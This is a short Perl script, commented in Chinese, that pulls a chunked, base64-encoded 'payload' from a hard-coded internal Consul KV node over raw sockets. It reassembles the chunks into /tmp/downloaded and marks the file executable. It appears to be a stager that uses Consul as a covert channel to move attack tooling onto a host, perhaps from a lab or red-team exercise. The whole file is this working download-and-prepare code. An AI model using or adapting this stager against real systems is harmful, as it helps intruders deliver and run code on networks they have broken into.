#!/usr/bin/perl
# 文件名: kv_download.pl
# 用途: 从 Consul KV 下载分块载荷，base64 解码后重组为完整文件
# 用法: perl kv_download.pl <kv_prefix> <chunks> <output_file>
use strict;
use IO::Socket::INET;
use MIME::Base64 qw(decode_base64);

my ($prefix, $chunks, $outfile) = @ARGV;
$prefix  ||= "payload";
$chunks  ||= 1;
$outfile ||= "/tmp/downloaded";

my $consul = "172.20.0.20";   # consul_node 内网 IP

open(my $fh, ">", $outfile) or die "open $outfile: $!";
binmode($fh);

for my $i (0 .. $chunks - 1) {
    my $key = sprintf("chunk_%03d", $i);
    my $s = IO::Socket::INET->new(PeerAddr => $consul, PeerPort => 8500, Timeout => 10)
        or die "chunk $i connect: $!";
    print $s "GET /v1/kv/$prefix/$key?raw HTTP/1.0\r\nHost:c\r\n\r\n";
    my $d = "";
    while (sysread($s, my $b, 32768)) { $d .= $b }
    close $s;
    $d =~ s/.*?\r?\n\r?\n//s;
    $d =~ s/\s+//g;
    my $bin = decode_base64($d);
    print $fh $bin;
    print STDERR "[$i] " . length($bin) . " bytes\n";
}
close $fh;
print "total: " . (-s $outfile) . " bytes\n";
chmod 0755, $outfile;